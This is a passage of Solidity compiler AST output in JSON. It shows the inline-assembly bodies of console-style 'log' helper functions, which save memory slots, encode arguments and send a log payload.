YulAssignment","src":"205514:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"205526:4:22","nodeType":"YulLiteral","src":"205526:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"205520:5:22","nodeType":"YulIdentifier","src":"205520:5:22"},"nativeSrc":"205520:11:22","nodeType":"YulFunctionCall","src":"205520:11:22"},"variableNames":[{"name":"m1","nativeSrc":"205514:2:22","nodeType":"YulIdentifier","src":"205514:2:22"}]},{"nativeSrc":"205544:17:22","nodeType":"YulAssignment","src":"205544:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"205556:4:22","nodeType":"YulLiteral","src":"205556:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"205550:5:22","nodeType":"YulIdentifier","src":"205550:5:22"},"nativeSrc":"205550:11:22","nodeType":"YulFunctionCall","src":"205550:11:22"},"variableNames":[{"name":"m2","nativeSrc":"205544:2:22","nodeType":"YulIdentifier","src":"205544:2:22"}]},{"nativeSrc":"205574:17:22","nodeType":"YulAssignment","src":"205574:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"205586:4:22","nodeType":"YulLiteral","src":"205586:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"205580:5:22","nodeType":"YulIdentifier","src":"205580:5:22"},"nativeSrc":"205580:11:22","nodeType":"YulFunctionCall","src":"205580:11:22"},"variableNames":[{"name":"m3","nativeSrc":"205574:2:22","nodeType":"YulIdentifier","src":"205574:2:22"}]},{"nativeSrc":"205604:17:22","nodeType":"YulAssignment","src":"205604:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"205616:4:22","nodeType":"YulLiteral","src":"205616:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"205610:5:22","nodeType":"YulIdentifier","src":"205610:5:22"},"nativeSrc":"205610:11:22","nodeType":"YulFunctionCall","src":"205610:11:22"},"variableNames":[{"name":"m4","nativeSrc":"205604:2:22","nodeType":"YulIdentifier","src":"205604:2:22"}]},{"nativeSrc":"205634:17:22","nodeType":"YulAssignment","src":"205634:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"205646:4:22","nodeType":"YulLiteral","src":"205646:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"205640:5:22","nodeType":"YulIdentifier","src":"205640:5:22"},"nativeSrc":"205640:11:22","nodeType":"YulFunctionCall","src":"205640:11:22"},"variableNames":[{"name":"m5","nativeSrc":"205634:2:22","nodeType":"YulIdentifier","src":"205634:2:22"}]},{"nativeSrc":"205664:17:22","nodeType":"YulAssignment","src":"205664:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"205676:4:22","nodeType":"YulLiteral","src":"205676:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"205670:5:22","nodeType":"YulIdentifier","src":"205670:5:22"},"nativeSrc":"205670:11:22","nodeType":"YulFunctionCall","src":"205670:11:22"},"variableNames":[{"name":"m6","nativeSrc":"205664:2:22","nodeType":"YulIdentifier","src":"205664:2:22"}]},{"nativeSrc":"205694:17:22","nodeType":"YulAssignment","src":"205694:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"205706:4:22","nodeType":"YulLiteral","src":"205706:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"205700:5:22","nodeType":"YulIdentifier","src":"205700:5:22"},"nativeSrc":"205700:11:22","nodeType":"YulFunctionCall","src":"205700:11:22"},"variableNames":[{"name":"m7","nativeSrc":"205694:2:22","nodeType":"YulIdentifier","src":"205694:2:22"}]},{"nativeSrc":"205724:18:22","nodeType":"YulAssignment","src":"205724:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"205736:5:22","nodeType":"YulLiteral","src":"205736:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"205730:5:22","nodeType":"YulIdentifier","src":"205730:5:22"},"nativeSrc":"205730:12:22","nodeType":"YulFunctionCall","src":"205730:12:22"},"variableNames":[{"name":"m8","nativeSrc":"205724:2:22","nodeType":"YulIdentifier","src":"205724:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"205824:4:22","nodeType":"YulLiteral","src":"205824:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"205830:10:22","nodeType":"YulLiteral","src":"205830:10:22","type":"","value":"0xf5bc2249"}],"functionName":{"name":"mstore","nativeSrc":"205817:6:22","nodeType":"YulIdentifier","src":"205817:6:22"},"nativeSrc":"205817:24:22","nodeType":"YulFunctionCall","src":"205817:24:22"},"nativeSrc":"205817:24:22","nodeType":"YulExpressionStatement","src":"205817:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"205861:4:22","nodeType":"YulLiteral","src":"205861:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"205867:2:22","nodeType":"YulIdentifier","src":"205867:2:22"}],"functionName":{"name":"mstore","nativeSrc":"205854:6:22","nodeType":"YulIdentifier","src":"205854:6:22"},"nativeSrc":"205854:16:22","nodeType":"YulFunctionCall","src":"205854:16:22"},"nativeSrc":"205854:16:22","nodeType":"YulExpressionStatement","src":"205854:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"205890:4:22","nodeType":"YulLiteral","src":"205890:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"205896:2:22","nodeType":"YulIdentifier","src":"205896:2:22"}],"functionName":{"name":"mstore","nativeSrc":"205883:6:22","nodeType":"YulIdentifier","src":"205883:6:22"},"nativeSrc":"205883:16:22","nodeType":"YulFunctionCall","src":"205883:16:22"},"nativeSrc":"205883:16:22","nodeType":"YulExpressionStatement","src":"205883:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"205919:4:22","nodeType":"YulLiteral","src":"205919:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"205925:4:22","nodeType":"YulLiteral","src":"205925:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"205912:6:22","nodeType":"YulIdentifier","src":"205912:6:22"},"nativeSrc":"205912:18:22","nodeType":"YulFunctionCall","src":"205912:18:22"},"nativeSrc":"205912:18:22","nodeType":"YulExpressionStatement","src":"205912:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"205950:4:22","nodeType":"YulLiteral","src":"205950:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"205956:4:22","nodeType":"YulLiteral","src":"205956:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"205943:6:22","nodeType":"YulIdentifier","src":"205943:6:22"},"nativeSrc":"205943:18:22","nodeType":"YulFunctionCall","src":"205943:18:22"},"nativeSrc":"205943:18:22","nodeType":"YulExpressionStatement","src":"205943:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"205986:4:22","nodeType":"YulLiteral","src":"205986:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"205992:2:22","nodeType":"YulIdentifier","src":"205992:2:22"}],"functionName":{"name":"writeString","nativeSrc":"205974:11:22","nodeType":"YulIdentifier","src":"205974:11:22"},"nativeSrc":"205974:21:22","nodeType":"YulFunctionCall","src":"205974:21:22"},"nativeSrc":"205974:21:22","nodeType":"YulExpressionStatement","src":"205974:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"206020:4:22","nodeType":"YulLiteral","src":"206020:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"206026:2:22","nodeType":"YulIdentifier","src":"206026:2:22"}],"functionName":{"name":"writeString","nativeSrc":"206008:11:22","nodeType":"YulIdentifier","src":"206008:11:22"},"nativeSrc":"206008:21:22","nodeType":"YulFunctionCall","src":"206008:21:22"},"nativeSrc":"206008:21:22","nodeType":"YulExpressionStatement","src":"206008:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40552,"isOffset":false,"isSlot":false,"src":"205484:2:22","valueSize":1},{"declaration":40555,"isOffset":false,"isSlot":false,"src":"205514:2:22","valueSize":1},{"declaration":40558,"isOffset":false,"isSlot":false,"src":"205544:2:22","valueSize":1},{"declaration":40561,"isOffset":false,"isSlot":false,"src":"205574:2:22","valueSize":1},{"declaration":40564,"isOffset":false,"isSlot":false,"src":"205604:2:22","valueSize":1},{"declaration":40567,"isOffset":false,"isSlot":false,"src":"205634:2:22","valueSize":1},{"declaration":40570,"isOffset":false,"isSlot":false,"src":"205664:2:22","valueSize":1},{"declaration":40573,"isOffset":false,"isSlot":false,"src":"205694:2:22","valueSize":1},{"declaration":40576,"isOffset":false,"isSlot":false,"src":"205724:2:22","valueSize":1},{"declaration":40542,"isOffset":false,"isSlot":false,"src":"205867:2:22","valueSize":1},{"declaration":40544,"isOffset":false,"isSlot":false,"src":"205896:2:22","valueSize":1},{"declaration":40546,"isOffset":false,"isSlot":false,"src":"205992:2:22","valueSize":1},{"declaration":40548,"isOffset":false,"isSlot":false,"src":"206026:2:22","valueSize":1}],"id":40578,"nodeType":"InlineAssembly","src":"205106:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40580,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"206064:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":40581,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"206070:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":40579,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"206048:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40582,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"206048:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40583,"nodeType":"ExpressionStatement","src":"206048:28:22"},{"AST":{"nativeSrc":"206095:273:22","nodeType":"YulBlock","src":"206095:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"206116:4:22","nodeType":"YulLiteral","src":"206116:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"206122:2:22","nodeType":"YulIdentifier","src":"206122:2:22"}],"functionName":{"name":"mstore","nativeSrc":"206109:6:22","nodeType":"YulIdentifier","src":"206109:6:22"},"nativeSrc":"206109:16:22","nodeType":"YulFunctionCall","src":"206109:16:22"},"nativeSrc":"206109:16:22","nodeType":"YulExpressionStatement","src":"206109:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"206145:4:22","nodeType":"YulLiteral","src":"206145:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"206151:2:22","nodeType":"YulIdentifier","src":"206151:2:22"}],"functionName":{"name":"mstore","nativeSrc":"206138:6:22","nodeType":"YulIdentifier","src":"206138:6:22"},"nativeSrc":"206138:16:22","nodeType":"YulFunctionCall","src":"206138:16:22"},"nativeSrc":"206138:16:22","nodeType":"YulExpressionStatement","src":"206138:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"206174:4:22","nodeType":"YulLiteral","src":"206174:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"206180:2:22","nodeType":"YulIdentifier","src":"206180:2:22"}],"functionName":{"name":"mstore","nativeSrc":"206167:6:22","nodeType":"YulIdentifier","src":"206167:6:22"},"nativeSrc":"206167:16:22","nodeType":"YulFunctionCall","src":"206167:16:22"},"nativeSrc":"206167:16:22","nodeType":"YulExpressionStatement","src":"206167:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"206203:4:22","nodeType":"YulLiteral","src":"206203:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"206209:2:22","nodeType":"YulIdentifier","src":"206209:2:22"}],"functionName":{"name":"mstore","nativeSrc":"206196:6:22","nodeType":"YulIdentifier","src":"206196:6:22"},"nativeSrc":"206196:16:22","nodeType":"YulFunctionCall","src":"206196:16:22"},"nativeSrc":"206196:16:22","nodeType":"YulExpressionStatement","src":"206196:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"206232:4:22","nodeType":"YulLiteral","src":"206232:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"206238:2:22","nodeType":"YulIdentifier","src":"206238:2:22"}],"functionName":{"name":"mstore","nativeSrc":"206225:6:22","nodeType":"YulIdentifier","src":"206225:6:22"},"nativeSrc":"206225:16:22","nodeType":"YulFunctionCall","src":"206225:16:22"},"nativeSrc":"206225:16:22","nodeType":"YulExpressionStatement","src":"206225:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"206261:4:22","nodeType":"YulLiteral","src":"206261:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"206267:2:22","nodeType":"YulIdentifier","src":"206267:2:22"}],"functionName":{"name":"mstore","nativeSrc":"206254:6:22","nodeType":"YulIdentifier","src":"206254:6:22"},"nativeSrc":"206254:16:22","nodeType":"YulFunctionCall","src":"206254:16:22"},"nativeSrc":"206254:16:22","nodeType":"YulExpressionStatement","src":"206254:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"206290:4:22","nodeType":"YulLiteral","src":"206290:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"206296:2:22","nodeType":"YulIdentifier","src":"206296:2:22"}],"functionName":{"name":"mstore","nativeSrc":"206283:6:22","nodeType":"YulIdentifier","src":"206283:6:22"},"nativeSrc":"206283:16:22","nodeType":"YulFunctionCall","src":"206283:16:22"},"nativeSrc":"206283:16:22","nodeType":"YulExpressionStatement","src":"206283:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"206319:4:22","nodeType":"YulLiteral","src":"206319:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"206325:2:22","nodeType":"YulIdentifier","src":"206325:2:22"}],"functionName":{"name":"mstore","nativeSrc":"206312:6:22","nodeType":"YulIdentifier","src":"206312:6:22"},"nativeSrc":"206312:16:22","nodeType":"YulFunctionCall","src":"206312:16:22"},"nativeSrc":"206312:16:22","nodeType":"YulExpressionStatement","src":"206312:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"206348:5:22","nodeType":"YulLiteral","src":"206348:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"206355:2:22","nodeType":"YulIdentifier","src":"206355:2:22"}],"functionName":{"name":"mstore","nativeSrc":"206341:6:22","nodeType":"YulIdentifier","src":"206341:6:22"},"nativeSrc":"206341:17:22","nodeType":"YulFunctionCall","src":"206341:17:22"},"nativeSrc":"206341:17:22","nodeType":"YulExpressionStatement","src":"206341:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40552,"isOffset":false,"isSlot":false,"src":"206122:2:22","valueSize":1},{"declaration":40555,"isOffset":false,"isSlot":false,"src":"206151:2:22","valueSize":1},{"declaration":40558,"isOffset":false,"isSlot":false,"src":"206180:2:22","valueSize":1},{"declaration":40561,"isOffset":false,"isSlot":false,"src":"206209:2:22","valueSize":1},{"declaration":40564,"isOffset":false,"isSlot":false,"src":"206238:2:22","valueSize":1},{"declaration":40567,"isOffset":false,"isSlot":false,"src":"206267:2:22","valueSize":1},{"declaration":40570,"isOffset":false,"isSlot":false,"src":"206296:2:22","valueSize":1},{"declaration":40573,"isOffset":false,"isSlot":false,"src":"206325:2:22","valueSize":1},{"declaration":40576,"isOffset":false,"isSlot":false,"src":"206355:2:22","valueSize":1}],"id":40584,"nodeType":"InlineAssembly","src":"206086:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"204853:3:22","parameters":{"id":40549,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40542,"mutability":"mutable","name":"p0","nameLocation":"204862:2:22","nodeType":"VariableDeclaration","scope":40586,"src":"204857:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40541,"name":"bool","nodeType":"ElementaryTypeName","src":"204857:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40544,"mutability":"mutable","name":"p1","nameLocation":"204874:2:22","nodeType":"VariableDeclaration","scope":40586,"src":"204866:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40543,"name":"uint256","nodeType":"ElementaryTypeName","src":"204866:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40546,"mutability":"mutable","name":"p2","nameLocation":"204886:2:22","nodeType":"VariableDeclaration","scope":40586,"src":"204878:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40545,"name":"bytes32","nodeType":"ElementaryTypeName","src":"204878:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40548,"mutability":"mutable","name":"p3","nameLocation":"204898:2:22","nodeType":"VariableDeclaration","scope":40586,"src":"204890:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40547,"name":"bytes32","nodeType":"ElementaryTypeName","src":"204890:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"204856:45:22"},"returnParameters":{"id":40550,"nodeType":"ParameterList","parameters":[],"src":"204916:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40626,"nodeType":"FunctionDefinition","src":"206380:1334:22","nodes":[],"body":{"id":40625,"nodeType":"Block","src":"206452:1262:22","nodes":[],"statements":[{"assignments":[40598],"declarations":[{"constant":false,"id":40598,"mutability":"mutable","name":"m0","nameLocation":"206470:2:22","nodeType":"VariableDeclaration","scope":40625,"src":"206462:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40597,"name":"bytes32","nodeType":"ElementaryTypeName","src":"206462:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40599,"nodeType":"VariableDeclarationStatement","src":"206462:10:22"},{"assignments":[40601],"declarations":[{"constant":false,"id":40601,"mutability":"mutable","name":"m1","nameLocation":"206490:2:22","nodeType":"VariableDeclaration","scope":40625,"src":"206482:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40600,"name":"bytes32","nodeType":"ElementaryTypeName","src":"206482:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40602,"nodeType":"VariableDeclarationStatement","src":"206482:10:22"},{"assignments":[40604],"declarations":[{"constant":false,"id":40604,"mutability":"mutable","name":"m2","nameLocation":"206510:2:22","nodeType":"VariableDeclaration","scope":40625,"src":"206502:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40603,"name":"bytes32","nodeType":"ElementaryTypeName","src":"206502:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40605,"nodeType":"VariableDeclarationStatement","src":"206502:10:22"},{"assignments":[40607],"declarations":[{"constant":false,"id":40607,"mutability":"mutable","name":"m3","nameLocation":"206530:2:22","nodeType":"VariableDeclaration","scope":40625,"src":"206522:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40606,"name":"bytes32","nodeType":"ElementaryTypeName","src":"206522:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40608,"nodeType":"VariableDeclarationStatement","src":"206522:10:22"},{"assignments":[40610],"declarations":[{"constant":false,"id":40610,"mutability":"mutable","name":"m4","nameLocation":"206550:2:22","nodeType":"VariableDeclaration","scope":40625,"src":"206542:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40609,"name":"bytes32","nodeType":"ElementaryTypeName","src":"206542:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40611,"nodeType":"VariableDeclarationStatement","src":"206542:10:22"},{"assignments":[40613],"declarations":[{"constant":false,"id":40613,"mutability":"mutable","name":"m5","nameLocation":"206570:2:22","nodeType":"VariableDeclaration","scope":40625,"src":"206562:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40612,"name":"bytes32","nodeType":"ElementaryTypeName","src":"206562:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40614,"nodeType":"VariableDeclarationStatement","src":"206562:10:22"},{"assignments":[40616],"declarations":[{"constant":false,"id":40616,"mutability":"mutable","name":"m6","nameLocation":"206590:2:22","nodeType":"VariableDeclaration","scope":40625,"src":"206582:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40615,"name":"bytes32","nodeType":"ElementaryTypeName","src":"206582:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40617,"nodeType":"VariableDeclarationStatement","src":"206582:10:22"},{"AST":{"nativeSrc":"206611:828:22","nodeType":"YulBlock","src":"206611:828:22","statements":[{"body":{"nativeSrc":"206654:313:22","nodeType":"YulBlock","src":"206654:313:22","statements":[{"nativeSrc":"206672:15:22","nodeType":"YulVariableDeclaration","src":"206672:15:22","value":{"kind":"number","nativeSrc":"206686:1:22","nodeType":"YulLiteral","src":"206686:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"206676:6:22","nodeType":"YulTypedName","src":"206676:6:22","type":""}]},{"body":{"nativeSrc":"206757:40:22","nodeType":"YulBlock","src":"206757:40:22","statements":[{"body":{"nativeSrc":"206786:9:22","nodeType":"YulBlock","src":"206786:9:22","statements":[{"nativeSrc":"206788:5:22","nodeType":"YulBreak","src":"206788:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"206774:6:22","nodeType":"YulIdentifier","src":"206774:6:22"},{"name":"w","nativeSrc":"206782:1:22","nodeType":"YulIdentifier","src":"206782:1:22"}],"functionName":{"name":"byte","nativeSrc":"206769:4:22","nodeType":"YulIdentifier","src":"206769:4:22"},"nativeSrc":"206769:15:22","nodeType":"YulFunctionCall","src":"206769:15:22"}],"functionName":{"name":"iszero","nativeSrc":"206762:6:22","nodeType":"YulIdentifier","src":"206762:6:22"},"nativeSrc":"206762:23:22","nodeType":"YulFunctionCall","src":"206762:23:22"},"nativeSrc":"206759:36:22","nodeType":"YulIf","src":"206759:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"206714:6:22","nodeType":"YulIdentifier","src":"206714:6:22"},{"kind":"number","nativeSrc":"206722:4:22","nodeType":"YulLiteral","src":"206722:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"206711:2:22","nodeType":"YulIdentifier","src":"206711:2:22"},"nativeSrc":"206711:16:22","nodeType":"YulFunctionCall","src":"206711:16:22"},"nativeSrc":"206704:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"206728:28:22","nodeType":"YulBlock","src":"206728:28:22","statements":[{"nativeSrc":"206730:24:22","nodeType":"YulAssignment","src":"206730:24:22","value":{"arguments":[{"name":"length","nativeSrc":"206744:6:22","nodeType":"YulIdentifier","src":"206744:6:22"},{"kind":"number","nativeSrc":"206752:1:22","nodeType":"YulLiteral","src":"206752:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"206740:3:22","nodeType":"YulIdentifier","src":"206740:3:22"},"nativeSrc":"206740:14:22","nodeType":"YulFunctionCall","src":"206740:14:22"},"variableNames":[{"name":"length","nativeSrc":"206730:6:22","nodeType":"YulIdentifier","src":"206730:6:22"}]}]},"pre":{"nativeSrc":"206708:2:22","nodeType":"YulBlock","src":"206708:2:22","statements":[]},"src":"206704:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"206821:3:22","nodeType":"YulIdentifier","src":"206821:3:22"},{"name":"length","nativeSrc":"206826:6:22","nodeType":"YulIdentifier","src":"206826:6:22"}],"functionName":{"name":"mstore","nativeSrc":"206814:6:22","nodeType":"YulIdentifier","src":"206814:6:22"},"nativeSrc":"206814:19:22","nodeType":"YulFunctionCall","src":"206814:19:22"},"nativeSrc":"206814:19:22","nodeType":"YulExpressionStatement","src":"206814:19:22"},{"nativeSrc":"206850:37:22","nodeType":"YulVariableDeclaration","src":"206850:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"206867:3:22","nodeType":"YulLiteral","src":"206867:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"206876:1:22","nodeType":"YulLiteral","src":"206876:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"206879:6:22","nodeType":"YulIdentifier","src":"206879:6:22"}],"functionName":{"name":"shl","nativeSrc":"206872:3:22","nodeType":"YulIdentifier","src":"206872:3:22"},"nativeSrc":"206872:14:22","nodeType":"YulFunctionCall","src":"206872:14:22"}],"functionName":{"name":"sub","nativeSrc":"206863:3:22","nodeType":"YulIdentifier","src":"206863:3:22"},"nativeSrc":"206863:24:22","nodeType":"YulFunctionCall","src":"206863:24:22"},"variables":[{"name":"shift","nativeSrc":"206854:5:22","nodeType":"YulTypedName","src":"206854:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"206915:3:22","nodeType":"YulIdentifier","src":"206915:3:22"},{"kind":"number","nativeSrc":"206920:4:22","nodeType":"YulLiteral","src":"206920:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"206911:3:22","nodeType":"YulIdentifier","src":"206911:3:22"},"nativeSrc":"206911:14:22","nodeType":"YulFunctionCall","src":"206911:14:22"},{"arguments":[{"name":"shift","nativeSrc":"206931:5:22","nodeType":"YulIdentifier","src":"206931:5:22"},{"arguments":[{"name":"shift","nativeSrc":"206942:5:22","nodeType":"YulIdentifier","src":"206942:5:22"},{"name":"w","nativeSrc":"206949:1:22","nodeType":"YulIdentifier","src":"206949:1:22"}],"functionName":{"name":"shr","nativeSrc":"206938:3:22","nodeType":"YulIdentifier","src":"206938:3:22"},"nativeSrc":"206938:13:22","nodeType":"YulFunctionCall","src":"206938:13:22"}],"functionName":{"name":"shl","nativeSrc":"206927:3:22","nodeType":"YulIdentifier","src":"206927:3:22"},"nativeSrc":"206927:25:22","nodeType":"YulFunctionCall","src":"206927:25:22"}],"functionName":{"name":"mstore","nativeSrc":"206904:6:22","nodeType":"YulIdentifier","src":"206904:6:22"},"nativeSrc":"206904:49:22","nodeType":"YulFunctionCall","src":"206904:49:22"},"nativeSrc":"206904:49:22","nodeType":"YulExpressionStatement","src":"206904:49:22"}]},"name":"writeString","nativeSrc":"206625:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"206646:3:22","nodeType":"YulTypedName","src":"206646:3:22","type":""},{"name":"w","nativeSrc":"206651:1:22","nodeType":"YulTypedName","src":"206651:1:22","type":""}],"src":"206625:342:22"},{"nativeSrc":"206980:17:22","nodeType":"YulAssignment","src":"206980:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"206992:4:22","nodeType":"YulLiteral","src":"206992:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"206986:5:22","nodeType":"YulIdentifier","src":"206986:5:22"},"nativeSrc":"206986:11:22","nodeType":"YulFunctionCall","src":"206986:11:22"},"variableNames":[{"name":"m0","nativeSrc":"206980:2:22","nodeType":"YulIdentifier","src":"206980:2:22"}]},{"nativeSrc":"207010:17:22","nodeType":"YulAssignment","src":"207010:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"207022:4:22","nodeType":"YulLiteral","src":"207022:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"207016:5:22","nodeType":"YulIdentifier","src":"207016:5:22"},"nativeSrc":"207016:11:22","nodeType":"YulFunctionCall","src":"207016:11:22"},"variableNames":[{"name":"m1","nativeSrc":"207010:2:22","nodeType":"YulIdentifier","src":"207010:2:22"}]},{"nativeSrc":"207040:17:22","nodeType":"YulAssignment","src":"207040:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"207052:4:22","nodeType":"YulLiteral","src":"207052:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"207046:5:22","nodeType":"YulIdentifier","src":"207046:5:22"},"nativeSrc":"207046:11:22","nodeType":"YulFunctionCall","src":"207046:11:22"},"variableNames":[{"name":"m2","nativeSrc":"207040:2:22","nodeType":"YulIdentifier","src":"207040:2:22"}]},{"nativeSrc":"207070:17:22","nodeType":"YulAssignment","src":"207070:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"207082:4:22","nodeType":"YulLiteral","src":"207082:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"207076:5:22","nodeType":"YulIdentifier","src":"207076:5:22"},"nativeSrc":"207076:11:22","nodeType":"